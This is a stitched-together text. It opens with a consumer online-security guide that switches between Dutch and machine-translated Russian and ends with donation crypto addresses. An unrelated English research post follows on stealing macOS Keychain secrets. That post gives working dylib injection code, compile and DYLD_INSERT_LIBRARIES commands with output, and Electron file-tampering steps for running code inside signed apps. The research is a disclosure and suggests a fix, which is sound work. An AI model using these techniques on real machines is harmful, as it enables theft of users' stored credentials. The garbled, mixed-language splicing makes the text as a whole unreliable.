Куда вы вообще вошли? Разве кто-то не скрывается за вашей электронной почтой или WhatsApp? Это показано в обзоре активных сеансов, который вы можете увидеть в Google , Facebook и WhatsApp . Удалите все сеансы, которые вы не знаете, вошли в систему.

Сделайте проверку безопасности

Многие компании предлагают возможность проверить настройки безопасности, включая Google , Facebook и Twitter . Таким образом, вы сможете узнать, когда вы в последний раз меняли пароль, а также какие приложения и службы имеют доступ к вашей учетной записи. Если вы периодически выполняете эти проверки, вы всегда найдете приложение или службу, которым больше не нужен доступ к вашей учетной записи.

вернуться наверх ↑

Общайся и звони

Общайся и звони

Болтаем 💬 и немного звоним ☎️. Давайте сделаем это как можно безопаснее в этом году. Короче: как вы общаетесь без того, чтобы другие могли читать или слушать?

Сквозное шифрование

С апреля 2016 года в Нидерландах стало намного безопаснее общаться . В том же месяце WhatsApp получил сквозное шифрование. Это гарантирует, что только отправитель и получатель могут прочитать сообщение. Если кто-то другой перехватит сообщение, он увидит множество искаженных символов.

Вы можете сравнить это с отправкой открытки. Вы пишете что-то на обратной стороне и ставите на это печать. При обычном шифровании почтальон (в данном случае WhatsApp) может прочитать то, что написано на открытке. При сквозном шифровании вы помещаете открытку в запечатанный конверт ✉️, поэтому только получатель может прочитать сообщение на карте.

Сквозное шифрование работает не только с сообщениями, но также при отправке и получении фотографий, видео, документов и данных о местоположении. Вы также можете защитить телефонные и видеозвонки с помощью сквозного шифрования.

WhatsApp и Facebook

WhatsApp принадлежит Facebook, компании, которая зарабатывает деньги, собирая как можно больше информации о своих пользователях. Из-за сквозного шифрования Facebook не знает, какие сообщения или фотографии вы отправляете. Facebook может видеть, с кем и когда вы контактируете, это также называется метаданными . Так что имейте это в виду.

Альтернативы WhatsApp

Выбор приложения для чата очень личный. Одним нравится удобство, другие хотят максимально защитить свою конфиденциальность. Ниже вы найдете пять альтернатив WhatsApp.


Значок сигналаSignal — это самое безопасное и удобное приложение для чата. Как и WhatsApp, вы также можете использовать приложение на компьютере, и есть возможность автоматически удалять сообщения через определенное время (от нескольких секунд до недели). Кроме того, Signal практически не хранит данные о своих пользователях. Приложение выглядит не очень хорошо, да и функций у него меньше, чем у конкурентов.


Значок TelegramTelegram — небезопасный выбор, потому что сообщения по умолчанию хранятся в облаке. Некоторым нравится это: если вы поменяете телефон, вы можете сразу начать с того места, где остановились. В то же время хранение всех ваших сообщений, фото и видео в облаке — это большой риск. Если вы выберете Telegram, помните об этом. Причина, по которой люди выбирают Telegram, заключается в том, что это одно из самых удобных приложений для чата.


значок iMessageПриложение чата Apple работает только с iPhone и iPad. Сообщения зашифрованы с помощью сквозного шифрования, и вы также можете использовать свой Macbook или iMac для отправки сообщений. iMessage поддерживает все виды других приложений, поэтому вы можете легко запросить возмещение в чате, забронировать Uber или поделиться своим навигационным маршрутом. Apple хранит метаданные до месяца, так что имейте это в виду.


Значок ThreemaSwiss Threema — популярное приложение для чата среди журналистов, потому что вы указываете имя пользователя только для общения друг с другом. Таким образом, журналисту не нужно публиковать свой номер телефона в Интернете. Приложение имеет красивый дизайн и множество функций, но также имеет один недостаток: Threema стоит 2,99 евро, а это означает, что количество пользователей намного меньше, чем у бесплатных приложений для чата.


Значок Wickr MeWickr Me можно сравнить с Threema: с этим приложением вам не нужен номер телефона или адрес электронной почты для создания учетной записи. Вы можете настроить автоматическое исчезновение сообщений, использовать приложение на нескольких устройствах и создавать группы. В отличие от Threema, Wickr Me бесплатен.


Значок проводаWire за короткое время приобрел большую группу поклонников. В этом нет ничего странного: приложение основано на шифровании Signal и сочетает в себе красивый дизайн с гибкостью Telegram. Таким образом, вы можете использовать Wire повсюду одновременно, независимо от того, хотите ли вы общаться в чате на своем смартфоне, компьютере или через браузер. Помимо отправки сообщений, вы также можете совершать (видео) звонки, обмениваться файлами и отправлять файлы GIF — все это зашифровано с помощью сквозного шифрования.

Автоматическое удаление сообщений

То, чего у вас нет, украсть невозможно. Это также относится к сообщениям чата. Вы ведете с кем-то деликатные беседы и не хотите, чтобы их читали? Затем включите автоматически исчезающие сообщения 🗑️. Signal , Telegram , Wickr Me и Wire , среди прочего , поддерживают эту функцию.

Звонки и видеозвонки

С WhatsApp, Signal и FaceTime вы можете звонить со сквозным шифрованием . Это означает, что служба, которой вы пользуетесь, не слышит и не видит вас. Эти приложения также рекомендуются, если вы хотите вести конфиденциальные беседы. Если вы хотите совершать видеозвонки со своим австралийским кузеном, Skype — в котором нет сквозного шифрования — не проблема.

Het normale bellen is voor het gros van de mensen ook een veilige manier om te communiceren. Een hacker kan niet zomaar jouw telefoonverbinding 📶 overnemen. Dat moet dan echt een gerichte aanval zijn van bijvoorbeeld een opsporingsdienst. Daarover later meer.


In tegenstelling tot veel chat-apps is e-mail 📨 juist niet veilig. E-mail bestaat uit een stel aan elkaar geknoopte technologieën die zorgen dat het werkt, maar niet dat het veilig of betrouwbaar is. We gebruiken e-mail omdat het zakelijk en algemeen geaccepteerd is, maar verstuur er zo min mogelijk gevoelige informatie mee.

terug naar boven ↑



Allereerst complimenten dat je al zo ver bent gekomen 👏. Je kennis van online veiligheid is al flink toegenomen. Hieronder vind je verschillende geavanceerde tips 🔧 om je beter tegen online surveillance of vastberaden hackers te weren.

Denk na over wat voor jou de gevaren zijn

Het is belangrijk om na te denken over jouw threat model, oftewel wat voor jou de gevaren zijn. Ben je een vrouw 👩 op het internet? Dan kan het zijn dat je vervelende mannen achter je aan krijgt. Ben je een journalist? Dan is het mogelijk dat de overheid je in de gaten houdt. En ben je iemand met een computer en bankrekening? Je snapt hem al: iedereen kan een doelwit zijn.

Neem gepaste maatregelen met betrekking tot jouw threat model. Er zijn heel veel maatregelen in deze handleiding die iedereen zou moeten nemen, omdat veel gevaren voor iedereen gelden. Maar als activistische feminist 💪 met een Twitter-account is het waarschijnlijk stukken belangrijker dat je jouw huisadres en mobiele telefoonnummer afschermt dan voor het gros van de mensen op Twitter.

Elke situatie is anders en vergt een andere aanpak. Er is dan ook geen gouden regel die je tegen alles beschermt. Stel: je denkt dat je gewelddadige partner jou in de gaten houdt, bijvoorbeeld door in te loggen op je e-mail of via WhatsApp Web mee te lezen met jouw berichtjes. Dan kun je beter de chatfunctie van het spelletje Wordfeud gebruiken om een vriend te informeren over jouw situatie, een communicatiemiddel dat je partner hoogstwaarschijnlijk niet in de gaten houdt.

Herken spear phishing

Laten we dan beginnen met de moeilijkste tip, want spear phishing is ontzettend lastig te herkennen. Spear phishing is een variant van phishing waarbij de aanvaller een bericht opstelt dat speciaal is gemaakt om jou in de val te lokken. De hacker gebruikt bijvoorbeeld informatie van jouw socialemediaprofielen om zijn spear phishing-bericht van geloofwaardige informatie te voorzien.

Een voorbeeld: je schrijft op Facebook dat je trein 🚆 een uur vertraging had. De aanvaller kan een nepmail van de NS opstellen waarin je compensatie aangeboden krijgt. Je hoeft alleen even in te loggen waarna je wachtwoord wordt buitgemaakt of een formulier in te vullen na het openen van het formulier leest de hacker mee met wat jij typt.

Gelukkig krijgt het gros van de mensen niet met spear phishing te maken. Spear phishing komt meestal voor bij mensen die een groot risico lopen om gehackt te worden, zoals politici, journalisten en advocaten. Desondanks is het altijd goed om op je hoede te zijn. Als je iets niet vertrouwt, zoek dan het bedrijf of de organisatie op via Google en bel het telefoonnummer om te vragen of het bericht daadwerkelijk van de juiste afzender is.

Versleutel je harde schijf en backups

Je kunt Macbooks en iMacs met één druk op de knop versleutelen door FileVault in te schakelen. Het is enorm simpel en zorgt ervoor dat iemand die jouw laptop vindt of steelt niet bij je privébestanden kan. Schakel deze functie dus direct in.

Bij Windows is het een ander verhaal. Al jaren maakt Microsoft zijn versleutelingsdienst Bitlocker alleen in de Pro-versie van Windows beschikbaar. Dat is precies de versie die consumenten nauwelijks gebruiken 🤷.

Er zijn gelukkig goede alternatieven, waarvan Veracrypt de veiligste en betrouwbaarste optie is. Zorg ervoor dat je een backup maakt voordat je begint met het versleutelen van je harde schijf. Het soms urenlang durende versleutelingsproces kan fout gaan en met een backup heb je dan altijd je bestanden nog.

Значок криптоматораOver backups gesproken: ook die kun je versleutelen. Denk bijvoorbeeld aan een externe harde schijf of usb-stick die je met Veracrypt versleutelt. Een goede app is Cryptomator dat bestanden direct versleutelt en naar de cloud uploadt. Op die manier staan al jouw belangrijke bestanden veilig versleuteld in de cloud. Bewaar je wachtwoord van de backup goed: als je deze kwijtraakt heb je geen toegang meer tot jouw bestanden.

Maak een zeer sterk wachtwoord met Diceware

De Diceware-methode wordt door experts gebruikt om een zeer sterk wachtwoord te maken. Diceware maakt gebruik van de willekeurigheid van het gooien van dobbelstenen 🎲 en een lange lijst met woorden. Hier vind je een lijst met Nederlandse woorden, samengesteld door de Vlaamse techneut Remko Tronçon.

Je begint door met de dobbelsteen te rollen. Doe dit vijf keer achter elkaar en noteer bij iedere worp het getal dat je gooit. Je krijgt dan een vijfcijferige reeks die correspondeert met een woord op de hierboven genoemde lijst. Stel, je gooit 3-5-5-5-4, dan is je woord kwibus.

Dit proces herhaal je zeven keer om écht veilig te zijn. Je krijgt dan een reeks met zeven compleet willekeurige Nederlandse woorden, zoals kwibus teugel flits augurk bagger zondag nylon. Wiskundig gezien is de Diceware-methode op dit moment de veiligste manier om een wachtwoord te maken dat je ook kan onthouden.

Tweestapsverificatie met een security key

Het gebruik van een fysieke usb-sleutel, ook wel een security key of beveiligingssleutel genoemd, is volgens experts de veiligste vorm van tweestapsverificatie. Je registreert de security key bij diensten als Google, Facebook, Twitter en Dropbox, en vervolgens wordt bij het inloggen om de usb-sleutel gevraagd.

Юбикей значокJe steekt de usb-sleutel in de computer of verbindt deze met je smartphone om een inlogpoging goed te keuren. De online dienst controleert 👮 of de security key bij jouw account hoort, en de usb-sleutel ziet of jij jezelf bij de juiste website of app aanmeldt ✅. Op die manier word je beschermd tegen phishing en nepwebsites: de inlogpoging wordt alleen goedgekeurd als jouw security key met de juiste online dienst verbindt.

Het valt aan te raden om twee security keys aan te schaffen: één voor aan je sleutelbos (die je altijd bij hebt), en één als backup om veilig op te bergen. Beide usb-sleutels koppel je aan een online dienst. Ook is het verstandig om andere, minder veilige opties voor tweestapsverificatie uit te schakelen, zoals inlogcodes via sms.

De Zweedse fabrikant Yubico maakt goede beveiligingssleutels. De beste keuze is de blauwe security key, die met alle grote online diensten werkt. Twee stuks kosten 39 euro. De Yubikey 5 met nfc (49 euro) werkt met Android-smartphones en beperkt met iPhones. Er is ook een versie voor usb-c-poorten (63 euro).

Schakel automatisch invullen uit en automatisch vergrendelen in

Sommige wachtwoordbeheerders bieden de mogelijkheid om op websites automatisch je wachtwoord in te vullen. Dat is niet veilig. Een aanvaller zou een wachtwoordbeheerder kunnen foppen met een neppagina. Daarom kun je deze optie, die je onder andere in LastPass vindt, uitschakelen. Zo bepaal je zelf wanneer jouw wachtwoord bij een website wordt ingevoerd.

Ook is het verstandig om je wachtwoordbeheerder automatisch te laten vergrendelen nadat je de app een X aantal minuten niet hebt gebruikt. Op die manier voorkom je dat je digitale kluis met al je wachtwoorden langer open blijft dan nodig.

De smartphone als spionage-apparaat

Smartphones zijn ideale spionage-apparaten. Opsporingsdiensten 🕵️ kunnen je telefoon tappen en de locatie ervan opvragen, hackers kunnen inbreken en naast je locatie bekijken ook de microfoon of camera inschakelen. Wees hier bewust van.

Android en iOS houden standaard bij waar je allemaal bent geweest 🔍 en deze gevoelige data kan met derden worden gedeeld. Je kunt deze optie uitschakelen bij zowel Android als iOS, waarna je telefoon niet meer constant bijhoudt waar je bent. Dat weerhoudt een opsporingsdienst of hacker er echter niet van om achter jouw locatie te komen.

Eén van de extreme maatregelen die je kunt nemen is je telefoon uitschakelen en in een Faraday-hoesje (die kun je zelf knutselen) of magnetron (zet hem niet aan) stoppen. Dat is de enige manier om er zeker van te zijn dat niemand jouw locatie kan peilen of microfoon kan afluisteren.

Zet je Windows-computer verder op slot

Значок HardentoolsКоллектив хакеров и экспертов по кибербезопасности создал программу для компьютеров с Windows, которая максимально блокирует ваш компьютер. Hardentools отключает уязвимые части Windows , что затрудняет захват вашего компьютера злоумышленниками. Имейте в виду, что эта программа также может отключать функции, которые вы часто используете, например, определенные части Office и Adobe Reader. Если что-то больше не работает (правильно), вы можете снова включить эту часть с помощью Hardentools ⏪, хотя и на свой страх и риск.

Следите за резервными копиями чатов в облаке

Многие приложения для чата предлагают резервное копирование всех ваших чатов в облако, например в Google Drive и iCloud. Остерегайтесь этого. Все сообщения шифруются на пути к получателю с помощью сквозного шифрования, но как только они попадают на ваш телефон, срок действия этого шифрования истекает, иначе вы не сможете их прочитать. Если вы затем сделаете резервную копию, ваши чаты будут загружены в облако в удобочитаемой форме и, следовательно, без шифрования. Служба отслеживания может запросить вашу историю чата . Также имейте в виду, что ваши сообщения могут находиться в незашифрованной резервной копии чата одного из ваших контактов.

Безопасные секретные вопросы

Часто в Интернете случайно можно найти ответы на секретные вопросы, например, имя вашего первого питомца или место рождения вашей матери. Если хакер правильно ответит на ваши секретные вопросы, он сможет сбросить ваш пароль и получить доступ к вашим онлайн-аккаунтам. Лучше давать случайные ответы на секретные вопросы и сохранять их с помощью менеджера паролей .

Имейте в виду, что в некоторых случаях ответы нужно говорить , например, когда вы звоните в службу поддержки. Вместо сложной строки символов лучше выбрать vos-fietspad-tosti-bruidsjurkв качестве ответа четыре случайных слова .

Цифровая ахиллесова пята: ваш номер телефона

Номер вашего мобильного телефона 📱 — одно из самых слабых мест в вашей онлайн-безопасности. Во многих случаях номер дает доступ к сбросу пароля. Хакеры тоже это знают, а это значит, что они могут позвонить вашему оператору связи в случае целенаправленной атаки и выдать себя за вас. Эта атака также называется подменой сима . Если они получат ваш номер 06, они также получат доступ к вашим онлайн-счетам.

Vraag daarom aan je telecomprovider of je een wachtwoord voor de klantenservice in kunt stellen. Als je vervolgens telefonisch 📞 iets wilt wijzigen, moet je dit wachtwoord uitspreken voordat je wordt geholpen. Dit kan in Nederland bij T-Mobile en Vodafone. Om helemaal zeker te zijn dat je niet wordt gehackt via sim-swapping, kun je jouw telefoonnummer bij al jouw online accounts verwijderen. Het is veiliger om de combinatie van een security key en authenticator-app te gebruiken om je accounts te beveiligen.

Let op locatiegegevens in foto’s

Zodra je met je smartphone een foto 🖼️ maakt, worden er allerlei extra gegevens opgeslagen, zoals de datum en het tijdstip wanneer de foto is genomen, maar ook de exacte locatie 🏘️. Deze gegevens worden ook wel EXIF-data genoemd. Zodra je een foto deelt op sociale media, zoals Facebook, Twitter, Instagram of WhatsApp, wordt deze EXIF-data verwijderd. Maar in andere gevallen niet, zoals bij het e-mailen of uploaden van foto’s naar je website. Wil je er zeker van zijn dat alle EXIF-data uit de foto is gehaald? Gebruik dan het Nederlandse ImgClean.io, dat via de browser al deze gegevens uit een foto haalt.

Veilig bellen

Als je veilig wilt bellen zonder via een telefoontap afgeluisterd 👂 te worden, dan is het aan te raden om Signal te gebruiken. Bij Signal worden telefoongesprekken versleuteld met end-to-end-encryptie. Voor veel mensen is deze maatregel overdreven, maar voor risicogroepen als journalisten en advocaten kan het soms nodig zijn.

Bellen via Signal (en eventueel WhatsApp) beschermt je ook tegen IMSI-catchers. Dit zijn apparaten die een telefoonmast imiteren, waarna jouw telefoongesprekken en berichtjes via dit apparaat worden afgetapt. IMSI-catchers worden meestal door opsporingsdiensten ingezet, maar zijn ook door hackers in elkaar te knutselen.

Versleuteld e-mailen met ProtonMail

ProtonMail is momenteel één van de meest gebruiksvriendelijke diensten om versleuteld te e-mailen. De end-to-end-encryptie geldt echter alleen wanneer ProtonMail-gebruikers met elkaar mailen. Bij andere e-mailadressen, zoals Gmail of Outlook, vraagt ProtonMail of je een wachtwoord wilt instellen. De ontvanger kan de e-mail alleen openen met dat wachtwoord. Op die manier voegt ProtonMail een extra beveiligingslaag toe. Een account met 500MB is gratis, voor meer opslagruimte en functies betaal je tussen de 5 en 20 euro per maand.

Browse met Tor

Значок TorDe Tor-browser stuurt jouw internetverkeer langs verschillende computers. Op die manier wordt je privacy beschermd: websites weten niet waar je vandaan komt en je provider ziet niet wat jij op het internet doet. Dat is handig voor sommige Nederlanders, maar soms levensreddend in landen als Iran en Rusland. Naast anonimiteit maakt Tor het ook mogelijk om geblokkeerde websites te bezoeken, wat in een land als Turkije erg belangrijk is.

Tor biedt ook toegang tot het dark web, het gedeelte van het internet dat je met een normale browser niet kunt bezoeken. Op het dark web vind je voornamelijk marktplaatsen voor drugs en wapens, websites waar kinderporno wordt gedeeld en nazistische communities.

Это недостаток анонимности, которую предлагает Tor: она также может быть использована злоумышленниками.

Хорошо подумайте, нужен ли вам Tor и когда. Собираетесь ли вы сообщить СМИ о злоупотреблении? Затем используйте Tor через общедоступный Wi-Fi в кафе, чтобы убедиться, что вы отправляете свой отчет как можно более анонимно. Интернет работает намного медленнее с браузером Tor , поэтому не транслируйте Netflix с его помощью 📺. Кроме того, веб-сайты видят, что вы пользуетесь Tor, поэтому иногда они блокируют ваши попытки входа в систему . Поэтому рекомендуется не использовать интернет-банкинг Tor.

Используйте PGP (только если это действительно необходимо)

PGP, что означает Pretty Good Privacy , используется для шифрования содержимого и вложений электронных писем с помощью сквозного шифрования. В течение многих лет это была одна из самых надежных форм шифрования, но она также невероятно сложна в использовании. Хорошо подумайте, действительно ли вам нужен PGP 🤔, иначе будет проще использовать Signal.

Если вам нужен PGP, но вы не знаете, как его настроить, сначала ознакомьтесь с Keybase , социальной сетью, где вы можете относительно легко зашифровать тексты с помощью PGP. Если вам нужно больше функций, например, шифрование файлов с помощью PGP, обратитесь к эксперту. Биты свободы «s конфиденциальности кафе работают волонтеры , которые регулярно установить PGP на людей.

OpenWrt на вашем роутере

Многие производители через некоторое время перестают обновлять роутеры. Затем желательно установить OpenWrt . Программное обеспечение доступно для множества маршрутизаторов и регулярно обновляется, чтобы устранить уязвимости в системе безопасности.

OpenWrt не работает с модемами Wi-Fi от интернет-провайдеров, которыми управляют сами компании. Вы можете купить собственный маршрутизатор и подключить его к модему Wi-Fi вашего интернет-провайдера. Переведите модем Wi-Fi в режим Bridge/DMZ, чтобы устройство перенаправляло только интернет-соединение.

Чат через OTR

Значок AdiumOff The Record (OTR) is net als Signal een zeer veilige manier om met anderen te chatten. OTR wordt gebruikt met een e-mailadres en een app op je desktop (Adium voor MacOS, Pidgin voor Windows en Linux) of smartphone (Conversations voor Android, ChatSecure voor iOS). De apps laten je met andere OTR-gebruikers chatten, maar voor velen zal Signal de betere keuze zijn.

Draai je eigen VPN

Als je technisch onderlegd bent, kun je zelf de touwtjes in handen nemen en een eigen VPN draaien. De makkelijkste optie is Algo, dat je op een eigen en liefst nieuwe server installeert. Je beheert dan zelf je beveiligde internetverbinding en kunt er vervolgens via al je apparaten mee verbinden. Omdat Algo zo makkelijk op te zetten is, kun je er ook een tijdelijke VPN mee creëren.

Maak je eigen beveiligingscamera

NSA-klokkenluider Edward Snowden heeft gewerkt aan Haven, een gratis Android-app waarmee je een oude smartphone kunt inzetten als slimme beveiligingscamera. Zo’n apparaat komt van pas als je denkt dat een aanvaller fysiek toegang tot jouw apparaten wil krijgen om je te hacken, bijvoorbeeld door een met malware besmette usb-stick in je laptop te steken.

Haven gebruikt de camera’s, microfoons, lichtsensor en versnellingsmeter van een telefoon om bewegingen en geluid te monitoren. Leg de oude smartphone in je hotelkamer en je wordt gewaarschuwd zodra iemand de ruimte betreedt. Ook maakt Haven foto’s en video’s van de inbreker. Snowden noemt Haven dan ook een digitale waakhond 🐶 die je overal mee naartoe kunt nemen.

iPod Touch met Signal

Значок iPod TouchSmartphones maken constant verbinding met zendmasten om onder andere telefoontjes, sms’jes en data te ontvangen. Dat laat een flink spoor aan (meta)data achter, dat door opsporingsdiensten kan worden misbruikt. Risicogroepen als journalisten, advocaten en politici moeten hier rekening mee houden. Een iPod Touch met Signal is dan een veilige manier om te communiceren. De muziekspeler draait op de laatste versie van iOS, heeft toegang tot de App Store en kan via wifi onder andere met Signal bellen. Om een account bij Signal aan te maken, moet je wel een (tijdelijk) telefoonnummer registreren, bijvoorbeeld een prepaid simkaart of VoIP-nummer. Deze tip geldt ook voor iPads (zonder simkaart), hoewel die wat lastiger in je broekzak passen.

Neem een privacyscherm

Een privacyscherm plaats je voor het scherm van je laptop, smartphone of tablet, waardoor pottenkijkers 👀 niet meer vanaf de zijkant op je scherm mee kunnen kijken. Het enige dat zij zien is een zwart scherm. Zo’n privacyscherm werkt zelfs zo goed dat je de telefoon echt recht voor je neus moet houden om ook maar iets te zien. Ligt de telefoon schuin voor je op de tafel, dan kun je niet eens je berichtjes lezen. Fellowes heeft goede privacyschermen van tussen de 10 en 50 euro.

Gebruik een ‘usb-condoom’

Да, USB-презерватив — это немного ругательное слово, но оно точно описывает то, что делает SyncStop : убедитесь, что на вашем смартфоне или планшете не установлено вредоносное ПО во время зарядки. SyncStop пропускает только питание и не пропускает данные. Если вы когда-нибудь захотите зарядить свой смартфон или планшет через странный компьютер или USB-вход, SyncStop остановит возможную атаку вредоносного ПО.

Хвосты и кубы

Значок QubesЭти две операционные системы предназначены для экспертов, так как их сложно использовать. Tails запускается с USB-накопителя, который можно вставить в любой компьютер, и Qubes также имеет такую ​​возможность. Вытащите USB-накопитель, и компьютер не поймет, что именно вы сделали. Tails защищает вашу конфиденциальность и предлагает всевозможные приложения, такие как Tor и Thunderbird с PGP. Qubes предлагает лучшую безопасность и используется людьми, которые являются целью (государственных) хакеров.

Но помните: если у вас мало технических знаний, использование одной из этих двух операционных систем может реально снизить вашу онлайн-безопасность. Поэтому всегда пытайтесь использовать устройства и службы, потому что вы их понимаете и контролируете , а не только потому, что считаете их более безопасными. Это также хороший совет в завершение этого обширного руководства.

вернуться наверх ↑

в заключение

Это руководство, содержащее более 11 000 слов, было создано с помощью шести профессиональных хакеров: Маартена ван Данцига , Рика ван Дуйна , Мелвина Ламмертса , Лорана Клоезе , Санне Маасаккерс и Сиджмена Рувофа . Прекрасные иллюстрации были сделаны Лаурой Кёлькер, а главный редактор Марсель Врогрейк позаботился о том, чтобы все предложения были плавными.

Если вы знаете людей, которые могли бы воспользоваться некоторыми советами по безопасности, отправьте им ссылку на этот веб-сайт. Это можно сделать через электронную почту , Twitter , Facebook и WhatsApp . Есть ли у вас какие-нибудь советы или дополнения? Дайте нам знать через Twitter ( @danielverlaan ) или по электронной почте .

Вы также можете сделать небольшое пожертвование 💰. Это можно сделать, заказав три или более стикера или переведя сумму по вашему выбору через Tikkie или PayPal . Я покупаю из него хорошее фирменное пиво 🍺. Также приветствуются криптовалюты:

биткойн: 1Psq1MmgPSKy8npnAvZASdtPD18EV61U3k
ethereum: litecoin 0x264510031A8F0b55432232F65337a67cA3Eb23bB
: Lg8sxK3bk4zvdmpHHLsV76gsw9v8wbAk2S

LJNHM V7.0 (список изменений )
Спасибо iA Writer за Duospace
С ❤️ встроенным в Jekyll
Эта работа покрывается 

Stealing macOS apps’ Keychain entries

Stealing macOS apps' Keychain entries

Original text by @WOJCIECH REGUŁA

Storing secrets on the macOS is a big challenge and can be done in multiple insecure ways. I tested many mac apps during bug bounty assessments and observed that developers tend to place secrets in preferences or even hidden flat files. The problem with that approach is that any non-sandboxed application running with typical permissions can access the confidential data.

For example, Signal on macOS stores a key that encrypts all your messages database in ~/Library/Application Support/Signal/config.json.

Signal encryption key

macOS Keychain

Apple tells us that “The keychain is the best place to store small secrets, like passwords and cryptographic keys”. Keychain is really powerful mechanism allowing developers to define access control lists (ACL) to restrict access to the entries. Applications can be signed with keychain-group entitlements in order to access shared between other apps secrets. The following Objective-C code will save a confidential value in the Keychain:

bool saveEntry() {
    OSStatus res;
    CFStringRef keyLabel = CFSTR("MySecret");
    CFStringRef secret = CFSTR("<secret data...>");
    CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL);
    CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
    CFDictionaryAddValue(attrDict, kSecValueData, secret);
    CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
    CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
    res = SecItemAdd(attrDict, NULL);
    if (res == errSecSuccess) {
        return true;
    return false;

And when executed, you should see that the entry has been successfully added:

My secret

Stealing the entry – technique #1

The first technique is to verify if the application has been signed with the Hardened Runtime or Library Validation flag. Yes, the Keychain doesn’t detect code injections… So simply, use the following command:

$ codesign -d -vv /path/to/the/app
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=653 flags=0x0(none) hashes=13+5 location=embedded Signature size=4755
Authority=Apple Development: [REDACTED]
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=29 Oct 2020 at 19:40:01
Info.plist=not bound
Runtime Version=10.15.6
Sealed Resources=none
Internal requirements count=1 size=192

If the flags are 0x0 and there is no __RESTRICT Mach-O segment (that segment is really rare), you can simply inject a malicious dylib to the app’s main executable. Create an exploit.m file with the following contents:

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Dylib injected");

    OSStatus res;
    CFTypeRef entryRef;

    CFStringRef keyLabel = CFSTR("MySecret");
    CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 4, &kCFTypeDictionaryKeyCallBacks, NULL);
    CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
    CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
    CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);

    res = SecItemCopyMatching(attrDict, (CFTypeRef*)&entryRef);
    if (res == errSecSuccess) {
        NSData *resultData = (__bridge NSData *)entryRef;
        NSString *entry = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding];
        NSLog(@"[+] Secret stolen: %@", entry);

Compile it:

gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework Security

And inject:

$ DYLD_INSERT_LIBRARIES=./exploit.dylib ./KeychainSaver
2020-10-30 19:33:46.600 KeychainSaver [+] Dylib injected
2020-10-30 19:33:46.628 KeychainSaver [+] Secret stolen: <secret data…>

Stealing the entry – technique #2

What if the executable has been signed with the Hardened Runtime? The bypass is similar to what I showed you in the XPC exploitation series. Grab an old version of the analyzed binary that was signed without the Hardened Runtime and inject the dylib into it. Keychain will not verify the binary’s version and will give you the secret.

Proposed fix for developers – create a Keychain Access Group and move the secrets there. As the old version of the binary wouldn’t be signed with that keychain group entitlement, it wouldn’t be able to get that secret. See docs.

Stealing the entry – technique #3

Keep in mind that the com.apple.security.disable-library-validation will allow you to inject a malicious dynamic library if the Hardened Runtime is set.

Stealing the entry – technique #4

As Jeff Johnson proved in his article, TCC only superficially checks the code signature of the app. The same problem exists in the Keychain. Even if the signature of the whole bundle is invalid, the Keychain will only verify if the main executable has not been tampered with. Let’s take one of the Electron applications installed on your device. I’m pretty sure that you have at least one installed (Microsoft Teams, Signal, Visual Studio Code, Slack, Discord, etc.). As it was proved many times (12) Electron apps cannot store your secrets securely.

This is another example of why this is true… Even if you sign Electron with the Hardened Runtime, the malicious application may change JavaScript files containing the actual code. Let’s take a look at Github Desktop.app. It stores the user’s session secret in the Keychain:

Github Desktop keychain entry

And it is validly signed:

$ codesign -d --verify -v /Applications/GitHub\ Desktop.app
/Applications/GitHub Desktop.app: valid on disk
/Applications/GitHub Desktop.app: satisfies its Designated Requirement

Next, change one of the JS files and verify the signature:

$ echo "/* test */" >> /Applications/GitHub\ Desktop.app/Contents/Resources/app/ask-pass.js
$ codesign -d --verify -v /Applications/GitHub\ Desktop.app
/Applications/GitHub\ Desktop.app: a sealed resource is missing or invalid
file modified: /Applications/GitHub\ Desktop.app/Contents/Resources/app/ask-pass.js

You can see that the signature is broken, but the Github will launch normally and load the secret saved in the Keychain:

Github Desktop loads entry from the Keychain

To prevent modifications, Electron implemented a mechanism called asar-integrity. It calculates a SHA512 hash and stores it in the Info.plist file. The problem is that it doesn’t stop the injections. If the main executable has not been signed with the Hardened Runtime or Kill flag and doesn’t contain restricted entitlements, you can simply modify the asar file, calculate a new checksum and update the Info.plist file. If these flags or entitlements are set, you can always use the ELECTRON_RUN_AS_NODE variable and again – execute code in the main executable context. So, it allows stealing the Keychain entries.


As I showed you in this post, secure secrets storage in the Keychain is really hard to achieve. There are multiple ways to bypass the access control mechanism as the code signature check of the requesting executables is done superficially.

The biggest problem is in Electron apps that just cannot store the secrets in the Keychain securely. Keep in mind that any framework that stores the actual code outside of the main executable may be tricked into loading malicious code.

If you know any other cool Keychain bypass techniques, please contact me. I’d be happy to update this post. 😉